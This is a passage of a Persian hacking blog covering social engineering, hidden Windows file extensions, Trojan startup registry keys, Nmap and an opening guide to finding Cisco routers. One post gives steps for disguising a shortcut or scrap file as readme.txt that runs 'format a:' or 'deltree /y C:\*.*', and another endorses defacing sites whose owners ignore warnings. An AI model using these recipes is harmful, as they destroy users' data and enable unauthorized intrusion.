هر هکر حرفه ای میدونه که مهندسی اجتماعی تو کار هک چه قدر مهمه

ما هیچگاه نمیتوانیم شبکه های خود را کاملا" ایمن کنیم اما اگر هم روزی بخواهیم به منطق 99.9% ایمنی برسیم نمیتوانیم عامل انسان را از چک لیست های تست امنیتی خود حذف کنیم . علوم مهندسی اجتماعی یک هنر است و یاد گیری این هنر برای کلیه کارمندان و مدیران سازمان ها ضرورت دارد تا افشای اطلاعات از طریق عامل انسان را به صفر برسانند . در این مقاله به بررسی علمی تفکرات انسان تا تکنیک هایی که متخصصان نفوذ در کار های خود برای تحریک اشخاص به کار میگیرند همراه با مثال های جامع پرداخته میشود .اگر با این علم در هیچ حدی آشنایی ندارید پس جالب است بدانید مهاجمین خبره قادرند بدون هیچ گونه تماس فیزیکی , به اطلاعات و مستندات حساس شما دسترسی پیدا کنند . آنها با وانمود کردن خود به عنوان یکی از کارمندان دیگر شعب , شرکا و یا حتی کارمند بخش های داخلی سازمان , تلاش میکنند تا با اغفال افراد و تحریکآنها با تکنیک های خاص خود که به توضیح مفصل در مورد آن خواهم پرداخت بپردازند . مهندسی اجتماعی تنها در علوم کامپیوتر و سازمان های کامپیوتری کاربرد ندارد , خود شما روزانه شاید چندین بار از آن برای پیشبرد اهداف خود استفاده نمایید چه در کار های روزمره و برخورد با اشخاص و چه در هنگامی که برای اولین بار به یک سازمان یا هر مکانی دیگری برای انجام کاری همچون شرکت در مناقصات یا خرید خودرو میروید اما هدف شما از بهره گیری مهندسی اجتماعی سواستفاده نبوده و صرفا" قصد پیشبرد سریعتر کار های خود را دارید . مهاجمین همیشه با اهداف از پیش تعریف شده و آگاهی کامل اقدام به ایجاد یک تماس تلفنی یا انجام یک رابطه فیزیکی با شخص مورد نظرشان مینمایند که در این برخورد هاآنها خود را یکی از مدیران , کارمندان, کارفرمایان و... معرفی میکنند و بعد از ایجاد اطمینان اقدام به سرقت نام های کاربری و رمز عبور یا هر اطلاعات مهم دیگری میکنند . حقیقتا" این علم بسیار فرا تر از مقاله ای میباشد که در جلوی شما قرار دارد و تمام گستردگی این علوم در تجارب و برخورد هایی که شما باآنها مواجه خواهید شد نهفته است . بسیاری از شرکت ها و موسسات بزرگ همچون بانک ها و سازمان های دولتی از آموزش این علوم و بیان اهمیت آن به کارمندان خود صرف نظر میکنند اماآنها میبایست آگاه باشند که میتوانند با هزینه ای کاملا" ناچیز جلوی مشکلات و ضرر هایی را که در آینده گریبان گیر آنان خواهد شد را بگیرند . آیا ما میتوانیم منکر گزارشات وخیم سال 2004 سازمان InfoSecurity اروپا شویم ؟

یک شخص با قابلیت مهندسی اجتماعی کیست ؟

انواع مهندسین اجتماعی

روان شناسی اجتماعی در کل هفت نوع عامل ایجاد تحریک را تعریف میکند

• حس انطباق پذیری

• منطق و استدلال

• نیاز و احساسات

• اعتبارات و ترس

• مساعدت هدفمند

• شباهت کاذب

• مانوراطلاعاتی

ویژگی های یک مهندس اجتماعی موفق

• بردباری

• اطمینان

• آگاهی

دانلود مقاله

نوشته شده توسط امین security در

لينك مطلب

ترفند های هکری ( )

افشاي هكرها
هدف ما اين است كه با افشاي “ترفندهاي هكر” استفاده كنندگان از اينترنت با دانش و ابزارهاي مورد نياز، آمادگي بهتري پيدا كنند تا فريب ترفندهاي هكر را نخورند.

پسوندهاي پنهان فايلهاي ويندوز
ممكن است از اين موضوع آگاهي نداشته باشيد، اما حتي اگر به ويندوز بگوييد كه تمام پسوندهاي فايل را نشان دهد، هنوز هم فايلهايي وجود دارند كه بطور پيش فرض مخفي شده‌اند. همچنين هر برنامه نصب شده‌ايي مي‌تواند پسوندها را پيكربندي كند تا پنهان شوند. در اينجا در مورد چگونگي انجام اين كار و همچنين دليل اينكه چرا برخي از پسوندهاي پنهان مي‌توانند براي تعدادي از كاربرهاي كامپيوتر خطرناك باشند، مثالهايي آورده شده است. به فرض اينكه شما قبلا ويندوز explorer را براي نشان دادن تمام پسوندهاي پيكربندي كرده‌ايد.

پسوندهاي SHS
يك كپي از notepad.exe بگيريد و آن را روي desktop خود قرار دهيد. Wordpad را باز كنيد. روي notepad.exe كليك كنيد و آن را به سمت سند باز شده wordpad بكشيد. روي notepad.exe كليك كنيد و آن را به عقب به سمت desktop بكشيد. فايلي را كه ايجاد شده است (Scrap) به Readme.txt تغيير نام دهيد.

حالايك آيكن كه نشان دهنده سند متني است و فايلي با نام مشخص readme.txt بر روي desktop شما وجود دارد كليك كردن بر روي فايل فوق باعث مي‌شود notepad باز ‌شود. اگر اين فايل يك Trojan باشد، شما فريب خورده‌ايد و توسط آنچه كه يك فايل متني بي‌خطر بنظر مي‌رسيد آلوده شده‌ايد. اگر اجازه نمايش اين پسوند داده مي شد شما فريب فايل Readme.txt.shs را نمي‌خورديد.

پسوندهاي PIF
اگر سعي كنيد تا notepad.exe را به anything.txt.pif تغيير نام دهيد، تنها فايلي با نام anything.txt روي desktop خود خواهيد ديد. و اين بدين دليل است كه PIF پسوند ديگري است كه ويندوز بطور پيش فرض پنهان مي‌كند. اگر شما فايل را اجرا كنيد برنامه اجرا خواهد شد، به خاطر اينكه ويندوز پسوندهاي PIF را اجرا خواهد كرد حتي اگر آنها فايلهاي اجرايي باشند.

پسوندهاي SCR
پسوند ديگري كه بايد مراقب آن بود SCR است. كپي notepad.exe خود را به notepad.scr تغيير نام دهيد و روي آن كليك كنيد. Notepad به عنوان يك فايل اجرايي اجرا خواهد شد. بسياري از افراد توسط هكرهايي فريب مي‌خورند كه account يك قرباني را بدست آورده‌اند. هكر email يا هر نوع پيغامي را به تمام دوستان قرباني مي‌فرستد كه "اين صفحه نمايش جديد و بامزه را ببينيد از خنده روده بر خواهيد شد!" از آنجايي كه اين پيغام از يك منبع مطمئن آمده، اكثر افراد فريب خورده و فايل SCR را اجرا مي‌كنند كه در نهايت به هكري ختم مي‌شود كه به كامپيوتر شما متصل شده است.

فرمانهاي خطرناكي كه مي‌توانند گنجانده شوند
پسوندهاي ميانبر PIF
برخي از پسوندهاي پنهان فايل قادرند به سادگي با فرمانهاي پنهان شده‌اي كه مي‌توانند براي سيستم شما مخرب باشند برنامه‌ريزي شوند. اين يك آزمايش ساده است:

دكمه راست ماوس خود را روي desktop كليك كنيد و New و سپس Shotcut را انتخاب نماييد. در Command line تايپ كنيد:

format a:/autotest

Next را كليك كنيد. در "Select a name for the shortcut" تايپ كنيد: readme.txt سپس Next را كليك كنيد. يك آيكن notepad را انتخاب كرده و Finish را كليك كنيد. حالا شما در desktop خود فايلي با نام readme.txt و با آيكن notepad داريد. مطمئن شويد كه در درايو شما ديسكي است كه از دست دادن آن براي شما اشكالي ندارد و روي آيكن كليك كنيد. فايلي كه شما روي آن كليك كرده‌ايد درايو A: را فرمت خواهد كرد. البته آيكن هكر درايو ديگري را مورد هدف قرار خواهد داد يا ممكن است نامي همچون ‘game.exe’ و فرماني براي حذف كردن دايركتوري ويندوز شما يا (deltree /y C:\*.*) كل درايو C شما داشته باشد. اگر پسوند PIF پنهان نشود، قادر به فريب شما نخواهد بود.

پسوند SHS
فايلهاي Scrap نيز مي‌توانند فرمانهاي گنجانده شده را پنهان كند. اين يك آزمون ساده است: از notepad.exe يك كپي بگيريد و آن را روي desktop خود قرار دهيد. Wordpad را باز كنيد.Notepad.exe را كليك كنيد و آن را به سمت سند باز شده wordpad بكشيد. روي Edit كليك كنيد و Package Object و سپس Edit package را انتخاب كنيد. روي Edit و سپس Command Line كليك كنيد.

در كادر، دستوري مانند format a:/autotest را تايپ كنيد و روي OK كليك كنيد. آيكن نيز مي‌تواند از اين پنجره تغيير يابد. از پنجره خارج شويد، اين كار سند را به روز خواهد كرد. روي notepad.exe كليك كنيد و آن را به عقيب به سمت Desktop بكشيد. فايلي را كه ايجاد شده (Scrap) به Readme.txt تغيير نام دهيد.

حالا شما آنچه را كه شبيه يك فايل متني است داريد. اگر اين فايل اجرا شود درايو A: را فرمت خواهد كرد. همانگونه كه در مثال بالا براي پسوندهاي ميانبر PIF ديده شد، هكر مي‌تواند از فرمانهاي خطرناكتري استفاده كند.

روشهاي Trojan در هنگام راه اندازي
روشهاي راه اندازي استاندارد
اكثر افراد از راههاي متفاوتي كه هكرها براي راه اندازي فايلهاي Trojan استفاده مي‌كنند آگاه نيستند. اگر هكري كامپيوتر شما را با يك Trojan آلوده كند، نياز به انتخاب يك روش راه‌اندازي خواهد داشت، بگونه‌اي كه در زمان راه‌اندازي مجدد كامپيوتر شما Trojan بارگذاري شود. روشهاي معمول راه‌اندازي شامل كليدهاي اجرايي registry، فولدر راه اندازي ويندوز، Windows Load= يا run=lines يافته شده در فايل win.ini و shell=line يافته شده در system.ini ويندوز مي‌باشند.

روشهاي راه اندازي خطرناك
از آنجايي كه فقط تعداد اندكي از اين روشهاي راه اندازي وجود دارند، هكرهاي زيادي را يافته‌ايم كه در پيدا كردن روشهاي جديد راه‌اندازي افراط مي‌كنند. اين شامل استفاده از تغييرات خطرناكي در سيستم registry مي‌باشد، كه در صورتي كه فايل Trojan يا فايل همراه آن از بين برود سيستم را بصورت بلااستفاده درخواهد آورد. اين يك دليل استفاده نكردن از نرم افزار ضد ويروس براي از بين بردن Trojanهاست. اگر يكي از اين روشها استفاده شود، و فايل بدون ثابت كردن registry سيستم از بين برود، سيستم شما قادر به اجراي هيچگونه برنامه‌اي پس از راه اندازي مجدد كامپيوترتان نخواهد بود.

قبل از آنكه سراغ registry برويم لازم به توضيح است كه يك فولدر به صورت C:\WINDOWS\StartMenu\Program\StartUp وجود دارد كه هر فايلي در اينجا باشد هنگام راه اندازي ويندوز اجرا خواهد شد.توجه داشته باشيد كه هرگونه تغييري مي‌تواند سيستم شما را به خطر بياندازد بنابراين، هرچه ما مي‌گوييم انجام دهيد. براي دستيابي به registry به منوي start>run> برويد و "regedit" را بدون علامت " " تايپ كنيد. در registry چندين مكان براي راه اندازي Startup وجود دارد كه ليستي از آنها را در اينجا مي آوريم.

[HKEY_CLASSES_ROOT\exefile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\comfile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\batfile\shell\open\command] ="\"%1\" %*"
[HKEY_CLASSES_ROOT\htafile\Shell\Open\Command]="\"%1\" %*"
[HKEY_CLASSES_ROOT\piffile\shell\open\command] ="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\ open\command] ="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\ open\command]="\"%1\" %*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\ open\command]="\"%1\"%*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\ Open\Command]="\"%1\"%*"
[HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\ open\command]="\"%1\"%*"

اگر اين كليدها مقدار "\"%1\"%*" را نداشته باشند و به جاي اجراي فايل در هنگام راه اندازي به "\"Server.exe %1\" %*" تغيير يابد به احتمال زياد يك Trojan است.

روش راه اندازي ICQ
روشي راه اندازي ديگري كه امروزه استفاده از آن معمول است شناسايي شبكه ICQ مي‌باشد. بسياري از كاربران ICQ نمي‌دانند كه هكر مي‌تواند يك خط پيكربندي را به ICQ اضافه نمايد تا با هر بار بارگذاري شدن برنامه Trojan نيز راه اندازي شود. به عنوان آزمايش مراحل زير را انجام دهيد:

ICQ را باز كنيد. روي آيكن ICQ كليك كنيد و preference را انتخاب نماييد. روي Edit launch List كليك كنيد. روي Add كليك كنيد. روي Browse كليك كنيد. فايلي را براي اضافه كردن به Windows\notepad.exe بيابيد كه به كار اين آزمايش بيايد. روي Open و سپس OK كليك كنيد. زماني كه شما ICQ را راه اندازي مجدد مي‌كنيد فايل اجرا خواهد شد.

نوشته شده توسط امین security در

لينك مطلب

Nmap چیست؟ ( )

Nmap مخفف Network Mapper میباشد و یک نرم افزار کاربردی برای جستجوی شبکه یا ممیزی امنیتی شبکه به شمار میاید. این نرم افزار طوری طراحی شده که شبکه های بزرگ را به سرعت اسکن کند، اگر چه می تواند بر روی سیستم های تنها نیز بخوبی کار کند. Nmap از ip packet های خام بصورت منحصر بفرد استفاده می کند تا تعیین کند چه رایانه هایی (hosts) بر روی شبکه در دسترس می باشند، چه سرویسهایی (ports) ارائه می کنند، چه سیستم عاملهایی (بهمراه نسخهٔ سیستم عامل) بر روی آنها در حال اجرا می باشد، چه نوع packet filter ها / فایروالهایی مورد استفاده قرار گرفته و چندین پارامتر دیگر. Nmap بر روی اکثر رایانه ها، هم گرافیکی و هم کنسول ها قابل استفاده است. Nmap یک نرم افزار مجانی است که به همراه کدهای آن تحت واژهٔ GNU GPL در دسترس می باشد.

● ویژگیهای Nmap
▪ انعطاف پذیری
از چندین تکنیک پیشرفته برای استخراج نقشهٔ شبکه استفاده می کند که این نقشه از IP filter ها، فایروالها، مسیریابها و دیگر موانع تشکیل شده است. این نقشه همچنین شامل بسیاری از پورتهای اسکن شده ( هم TCP و هم UDP)، تشخیص سیستم عامل، ping sweep ها و عوامل دیگر می باشد.

▪ قدرتمندی
از Nmap جهت اسکن کردن شبکه های بسیار بزرگ به معنی واقعی کلمه، یعنی صدها هزار از ماشین، استفاده شده است.

▪ قابلیت حمل
بر روی اکثر سیستم عاملها استفاده می شود و از آن پشتیبانی می کنند. این سیستم عاملها شامل Linux ، Open/Free/Net BSD ، Solaris ، IRIX ، Mac OS ، HP-UX ، Sun OS و غیره می باشد.

▪ سادگی
در ضمن اینکه Nmap یک مجموعه از خصوصیات پیشرفته را برای کاربران توانمند ارئه می دهد، شما می توانید استفاده از آن را با دستور “nmap –O –sS targethost” آغاز نمایید. هم نسخه های command line و هم نسخه های گرافیکی (GUI) بر اساس نیاز شما در دسترس می باشد. نسخهٔ باینری نیز برای برای کسانی که مایل به کامپایل کردن کدهای Nmap نیستند موجود می باشد.

▪ رایگان
هدف اولیه از پروژهٔ Nmap جهت کمک به امن کردن بیشتر اینترنت و تجهیز مدیران شبکه / ممیزین شبکه (auditors) / هکرها به یک ابزار پیشرفته جهت جستجوی شبکهٔ تحت کنترلشان بوده است. Nmap برای download رایگان به همراه کدهای کامل آن که شما می توانید آنها را تغییر دهید و تحت GNU General Public License (GPL) در اختیار دیگران قرار دهید، در دسترس می باشد.

▪ خوب مستند سازی شده
بیشترین تلاش صورت گرفته تا مستندات و manual page ها به روز و قابل فهم باشد. همچنین این مستندات و manual page ها به چندین زبان موجود می باشند.

▪ تحت پشتیبانی:
اگرچه این نرم افزار هیچ ضمانتی ندارد، شما می توانید اگر با مشکلی مواجه شدید به آدرس [email]fyodor@insecure.org[/email] ایمیل بزنید.

▪ تائید شده
Nmap جوایز بسیاری برده است، مثل “Information Security Product of the Year” از طرف World and Codetalker Digest.

▪ مشهور
همه روزه هزاران نفر از مردم Nmap را download می کنند و این نرم افزار با بسیاری از سیستم عاملها کار میکند.

▪ روش عملکرد Nmap
در این قسمت به توضیح عملکرد نرم افزار Nmap تحت سیستم عامل Linux می پردازیم و سپس به توضیح سوئیچ های Nmap که بصورت command line می باشند می پردازیم:
همانطور که گفته شد Nmap یک نرم افزار امنیتی می باشد که تعداد زیادی از تکنیکهای اسکن را پشتیبانی می کند:
UDP ، TCP connect() ، TCP SYN (half open) ، FTP proxy (bounce attack) ، Reverse-ident ، ICMP (ping sweep) ، FIN ، ACK sweep ، Xmas Tree ، SIN sweep ، IP Protocol و Null scan .

همچنین Nmap دارای بسیاری از قابلیتهای پیشرفته نظیر شناسایی OS با استفاده از TCP/IP ، اسکن نامحسوس (stealth scanning) ، محاسبات تاخیر دینامیکی و انتقال مجدد (retarnsmission) ، اسکن موازی، شناسایی سیستم های خاموش (down hosts) از طریق ping های موازی، decoy scanning ، شناسایی پورتهای ***** شده ، direct (non-portmapper) RPC scanning ، fragmentation scanning و همچنین تعیین پورت و هدف منعطف می باشد.

حداکثر تلاشها صورت گرفته تا کارایی Nmap برای کاربرانی که از امتیاز root برخودار نیستند، کاهش نیابد. متاسفانه بسیاری از واسطهای kernel های حساس (مثل سوکتهای خام [raw sockets]) نیاز به مجوز root دارند. هر زمان که ممکن است Nmap باید تحت مجوز root راه اندازی شود (البته نه بعنوان setuid root).
نتیجهٔ اجرای Nmap معمولاً یک لیست از پورتهای جالب (در صورت وجود) از ماشین یا ماشینهایی که اسکن شده اند، می باشد. همیشه Nmap در مورد پورت شناخته شده (“well known”port) نام سرویس (در صورت وجود)، نام، وضعیت و پروتکل را می دهد. وضعیت (state) می تواند ‘open’ ، ‘filtered’ یا ‘unfiltered’ باشد. ‘open’ یعنی ماشین مورد نظر ارتباطات روی آن پورت را connect() خواهد کرد. ‘filtered’ یعنی یک فایروال / ***** یا دیگر موانع موجود بر روی شبکه، پورت را پوشش می دهد و مانع آن می شود که Nmap تعیین کند که پورت باز است یا بسته. ‘unfiltered’ یعنی آن پورتی که توسط Nmap شناسایی شده، بسته شده و بنظر می رسد هیچ فایروالی / فیلتری به تلاش Nmap برای تعیین وضعیت آن پورت توجه ندارد. مواجه شدن با پورتهای ‘unfiltered’ متداول می باشند و زمانی این وضعیتها نشان داده می شوند که اکثر پورتهای اسکن شده در وضعیت ‘filtered’ باشند.

بسته به سوئیچهای استفاده شده، Nmap می تواند مشخصات زیر را در remote host معین کند: سیستم عامل مورد استفاده، TCP sequencability ، نام کاربرانی که برنامه های منحصر به هر پورت را اجرا می کنند، نام DNS ، تعیین اینکه آیا میزبان یک smurf address می باشد و چند مشخصهٔ دیگر.

۱) همچنین Nmap دارای بسیاری از قابلیتهای پیشرفته نظیر موارد زیر میباشد:
۲) شناسایی OS با استفاده از TCP/IP
۳) اسکن نامحسوس (stealth scanning)
۴) محاسبات تاخیر دینامیکی و انتقال مجدد (retarnsmission)
۵) اسکن موازی
۶) شناسایی سیستم های خاموش (down hosts) از طریق ping های موازی
۷) decoy scanning
۸) شناسایی پورتهای ***** شده
۹) direct (non-portmapper) RPC scanning
۱۰) fragmentation scanning

حداکثر تلاشها صورت گرفته تا کارایی Nmap برای کاربرانی که از امتیاز root برخودار نیستند، کاهش نیابد. متاسفانه بسیاری از واسطهای kernel های حساس (مثل سوکتهای خام [raw sockets]) نیاز به مجوز root دارند. هر زمان که ممکن است Nmap باید تحت مجوز root راه اندازی شود (البته نه بعنوان setuid root).
نتیجهٔ اجرای Nmap معمولاً یک لیست از پورتهای جالب (در صورت وجود) از ماشین یا ماشینهایی که اسکن شده اند، می باشد. همیشه Nmap در مورد پورت شناخته شده

(“well known”port) نام سرویس (در صورت وجود)، نام، وضعیت و پروتکل را می دهد. وضعیت (state) می تواند ‘open’ ، ‘filtered’ یا ‘unfiltered’ باشد. ‘open’ یعنی ماشین مورد نظر ارتباطات روی آن پورت را connect() خواهد کرد. ‘filtered’ یعنی یک فایروال / ***** یا دیگر موانع موجود بر روی شبکه، پورت را پوشش می دهد و مانع آن می شود که Nmap تعیین کند که پورت باز است یا بسته. ‘unfiltered’ یعنی آن پورتی که توسط Nmap شناسایی شده، بسته شده و بنظر می رسد هیچ فایروالی / فیلتری به تلاش Nmap برای تعیین وضعیت آن پورت توجه ندارد. مواجه شدن با پورتهای ‘unfiltered’ متداول می باشند و زمانی این وضعیتها نشان داده می شوند که اکثر پورتهای اسکن شده در وضعیت ‘filtered’ باشند.

بسته به سوئیچهای استفاده شده، Nmap می تواند مشخصات زیر را در remote host معین کند: سیستم عامل مورد استفاده، TCP sequencability ، نام کاربرانی که برنامه های منحصر به هر پورت را اجرا می کنند، نام DNS ، تعیین اینکه آیا میزبان یک smurf address می باشد و چند مشخصهٔ دیگر.

منبع:آفتاب
لینک دانلود :

http://www.filebuzz.com/files/free_network_mapper/1.html

نوشته شده توسط امین security در

لينك مطلب

بازگشت دوباره ( )

با سلام

من دوباره برگشتم

البته هنوز اون مشکلاتی که به خاطرش نزدیگ به ۸ - ۹ ماه آپ نکردم باقیند اما داره یواش یواش حل میشه

البته شاید دیر به دیر بتونم آپ کنم اما مطمین باشید که دیگه کنار نمیکشم

برای حل شدنه مشکلم دعا کنید

نوشته شده توسط امین security در

لينك مطلب

تبریک ( )

سلام

تبریک تبریک تبریک

فقط اومدم قبول شدن یکی از دوستام و تو دانشگاه تبریک بگم ( خودش میدونه کیه !!! )

باور کن که وقتی خبر قبول شدنت رو شنیدم خیلی خوشحال شدم

بدون که هنوزم به یادتم و هیچوقت از یادم نمیری خیلی سعی کردم فراموشت کنم اما نتونستم ( اما خوب خودت خواستی که دیگه با هم ارطباطی نداشته باشیم )

راستی من هنوز هم پسورد آی دیم رو عوض نکردم

یه بنده خدایی : اما من تا آخر عمرم پسورد آی دیم رو عوض نمیکنم

انشالا موفق باشی kIsS_mE

راستی اینو به همه دوستام و کسانی که به وبلاگم سر میزدند بگم که به خاطر یک سری مسایل نتونستم یه چند ماهی آپ کنم ( البته خیلی از دوستام دلیلشو میدونند )

اما انشالا مشکلاتم داره حل میشه و به زودی دوباره آموزش ها رو به بهترین نحو ممکن ادامه میدم

برای حل شدن مشکلم دعا کنید

باز هم قبول شدن دوستم رو تو دانشگاه بهش تبریک میگم

AmIn

نوشته شده توسط امین security در

لينك مطلب

تا چند ماه دیگه بای ( )

سلام به همه

متاسفانه من تا چند ماه دیگه نمیتونم آپ کنم

چون که برای تکمیل دوره های هکینگ به مجبور شدم به تهران برم

راستی جواب آقا مجتبی :

کد قالب وبلاگت رو کاملا پاک کن بد دوباره کد رو آپ کن

یکی هم پسورد وبلاگت رو داره پسوردش و عوض کن و به هیچکسی هم ندش

چون که یکی تونسته با داشتن پسوردت کد عوض شدن وبلاگ رو تو کد قالبت بریزه

چون که دیگه من آپ نمیکنم برای اطمینان این هم بگم که با عوض کردن کد قالبت مطالب و نظرهای وبلاگت سر جاش میمونه

بای تا های

نوشته شده توسط امین security در

لينك مطلب

چند تا مقاله توپه توپ ( )

سلام امروز میخام براتون چند تا مقاله توپ بزارم

این که مقاله طریقه هک شدن بانک تجارته یکم مباحث تو این مقاله پیچیده و گیج کننده ست البته برای تازه کار ها

این هم مبحث کامل و پیچیده تلنت

این یکی درباره یکی از گروه های بزرگ هکری است اما همونطور که گفتم دنبال الگو برای خود نباشید سعی کنید خودتون مبتکر و الگو برای دیگران باشید چون اگه دنبال الگو برای خود باشید دیگه از خلاقیت و ابتکار دور میشوید

این هم معلومات کلی که یک هکر باید بداند این یکی خیلی بدردتون میخوره

تا آپ بعدی

یا حق

نوشته شده توسط امین security در

لينك مطلب

حرفهای نا گفته ( )

با سلام خدمت همه هکرها اعم از کلاه سفید و کلاه سیاه
اول از همه یه چند تا نکته اینجا هست که باید روشن بشه و جواب چند تا انتقاد که از من شده
اول از هر چیز آقای پویا صادقی که در پست ( هک کردن پس آی دی ) انتقاد کرده بودن که : آقا امین تو که اینقدر مطلب خوب می نویسی چرا با این پست کاره خودتو رو خراب میکنی

من کاملا با نظر ایشون موافقم البته با نصفش چون مطالب من ایقدرها هم که ایشون میگه خوب نیست چون من هنوز یه جوجه هکرم و حالا حالا ها مونده که یه هکر بشم
هک کردن آی دی و این جور چیزا اصلاً،اصلاً و باز هم اصلاً بدرد نمیخوره
فکر کن که مثلا یه آی دی هم هک کردین خوب حالا که چی ، الان مثلا میخای چیکار کنی
از نظر من هک کردن آی دی برای شروع ( فقط برای شروع و استارت ) بد نیست البته به مدت خیلی خیلی کوتاه باشه
من خودم هم از هک کردن آی دی شروع کردم اما به مدت 1 هفته فقط و بعد رفتم دنبال کلاینت هکینگ دیدم این هم به درد نمیخوره آخر زدم تو کار وب و سرور هکینگ ( البته من یه جوجه هکر کلاه سفیدم نه سیاه ) و به شما هم پیشنهاد میکنم که یک هکر کلاه سفید باشید ( البته من خودم هم شیطونی زیاد میکنم
جواب آقای پویا صادقی : من از گذاشتن این پست قصدم فقط و فقط و فقط نشان دادن باگ بزرگ سایت بزرگ یاهو بود نه آموزش هک آی دی و از این جور بچه بازیها . شما اگه وبلاگ من و بگردی با این همه پست !!!،،،،: درباره آی دی و از این جور چیزا فقط همین یه دونه پست رو میتونید پیدا کنید و اگه وبلاگ منو بتکونی هم نمیتونی درباره بوت و هک آی دی و از این جور بچه بازیها پیدا کنید
به همین دلایل لطفاً دیگه از من درخاست آموزش هک آی دی و از این جور چیزها نکنید
اما باز هم با تشکر از انتقاد سازنده تون آقای پویا صادقی

جواب خانم سمیرا : راستی یه سوال ....چه جوری موبایلا رو هک میکنن؟
من تویه یه پست روش این کار رو گفتم اگه بگردی پیدا میکنی
پست (هک کردن موبایل ) البته باز هم من این مطلب رو برای نشون دادن باگ مخابرات پست کردم

چند پیشنهاد :
اول اینکه اصلا دنبال هک کردن آی دی و کلاینت نرین البته من تک و توک آموزش هک کردن کلاینت رو میزارم اون هم برای نشون دادن باگها و اکسپلویت های جدید
همیشه به خاطر داشته باشید که : یه هکر خوب باید اول یه آنتی هکر خوب باشه
یه هکر خوب همیشه از محیط سیاه و سفید (سی ام دی) استفاده میکنه
جدیداً وبلاگ هک کردن رایج شده که من کاملا با این کار مخالفم ( البته در بعضی مواقع آدم و مجبور میکنند که وبلاگ هک کنه که در ادامه دلیلش و میگم ) چونکه وبلاگ یه چیز کوچک و بی ارزشیه البته باز هم تک و توک به علت احترام به نظر بازدید کنندگان آموزش هک وبلاگ هم میزارم که تا حالا یک پست گذاشتم
به هیچ وجه سایتها یا وبلاگ های ایرانی رو ( بدون دلیل و به صورت جنون آمیز ) هک نکنید چونکه این بدبختا با هزار امید و زحمت و تلاش اومدن یه سایت راه انداختند فقط در صورت نشان دادن یا باگ روی سایتشان اونها رو هک کنید البته اول باید چند بار به اونها هشدار بدید و کاملا برایشان باگ روی سایت یا سرورشان را توضیح بدید بعد اگه قانع نشدن اون سایتها را دفیس ( فقط و فقط دفیس کنید نه به دیتابیس دست بزنید و نه خرابکاری کنید ) کنید تا اون باگ براشون آشکار بشه و قانع بشن که سایتشون آسیب پذیره
من که از گوگل هکینگ متنفرم شما رو نمیدونم
من که پیشنهاد میکنم اصلا دنبال گوگل هکینگ نرید البته باز هم برای شروع بد نیست اما به مدت خیلی خیلی کم
آخه به چه درد میخوره که گوگل یه سایت رو حاضر و آمده برات پیدا میکنه که مثلاً این سایت این باگ رو داره شما بفرما هکش کن و شما هم چند تا اکسپلویت به درد نخور به آدرس بار اضاف میکنید و لم میدی به صندلی کامپیوتر بد از چند ثانیه هم تق سایته هک شد و بعد هم الکی الکی بالا پایین میپرید که دلتون خوشه که سایت هک کردین یه هک واقعی اینه که هدف از پیش تعیین شده باشه نه شانسی گوگل براتون پیدا کنه و برای هک کردن اون هدف پدرتون در بیاد و خودتون برای اون هدف اکسپلویت بنویسید
مثل کسی که بانک تجارت رو هک کرد که من مقاله طریقه هک شدن بانک تجارت رو تو پست بالایی که همین الان میزارمش گذاشتم
به هیچ وجه از هک برای خودنمایی و کل انداختن با دیگران استفاده نکنید
همیشه از جدید ترین باگها و اکسپلویتها با خبر باشید و به موقع سیستم خودتون رو پچ کنید
یکی از بهترین سایتهایی که جدیدترین اکسپلویتها رو با پچ و توضیح منتشر میکنه
securityfocuse.com
که تو دنیا جز بهترینهاست
هیچوقت دنبال الگو برای خودتان در کار هک نباشید سعی کنید دیگران شما را الگو قرار دهند

هشدار ها :

اولاً من تا حالا از کسی یا وبلاگی به جز 2 پست کپی نکردم که اون هم منبع رو نوشتم برای همین هم خوشم نمیاد کسی از من کپی کنه
فکر هم کنم که اون قدری بلد هستم که بتونم که راست کلیک یا هایلایت کردن و در کل کپی کردن از وبلاگمو با 2 تا کد جاوا اسکریپت قفل کنم اما من به شعور بالای خانندگان وبلاگم ایمان دارم و از نظر من قفل کردن وبلاگ یه جور توهین به شعور خانندگان وبلاگه
برای همین تقاضا دارم که از وبلاگ من کپی نگیرید چون به خدا بابام در میاد تا این مطالب رو بنویسم بعد شما به راحتی میاین از وبلاگ یه کپی میگیری و میری
من دیگه کد هک شدن شخص با ورود به وبلاگ ( کد هک شدن در وبلاگ ) رو برای هیچ کس نمیفرستم
من این مطلب رو فقط برای اطلاع شما از این موضوع گذاشتم نه اینکه به صورت جنون آمیز این کد رو تو وبلاگتون بزارین و کسی که به شما اعتماد کرده و وارد وبلاگتون میشه رو هک کنین

به زودی :

من دارم یه چند تا مقاله درباره کشف حفره در برنامه ها و یا سرور و وب و یا ... و طریقه نوشتن کد های مخرب ( اکسپلویت ) برای آن حفره مینویسم
انشاالله بزودی کارشون تموم میشه و برای دانلود میزارم
بعدش هم شروع به ساختن کلیپ های آموزشی میکنم

یا حق

نوشته شده توسط امین security در

لينك مطلب

روتر چیست و چگونه هک میشود ؟ ( قسمت 2 ) ( )

چرا هك روتر سيسكو ؟

زيرا اونا در هك كردن سرور خيلي مهم هستند يعني اگه بتونيم وارد روتر بشيم يعني سرور دود ميشه.

پيدا كردن روتر سيسكو...

آسون ترين راه براي پيدا كردن روتر سيسكو همون tracert است كه شما بايد يه ip دلخواه رو ، روي اين دستور امتحان كنيد . كه در اين روش حتماً نام روتر سيسكو ديده مي شود يه راه ديگه هم است و اون استفاده از دستور nslookup است كه ip روتر سرور ي كه از اون اسفاده مي كنيد را به شما مي دهد

می توانید برای پیدا کردن روتر از برنامه ی Cis scan که برای پیدا کردن روتر سیسکو روی یک رنج آی پی به کار میرود نیز استفاده کنید دریافت Cis Scan

یرای پیدا کردن روتر با این برنامه یک رنج را با آی پی ابتدا و انتها برای برنامه مشخص کنید و چند لحظه بعد آی روتر روی این رنج نمایان می شود با توجه به تعداد آن

. شما الان ip روتر را پيدا كرده ايد

حال بايد ديد كه روي روتر فايروال است يا نه .

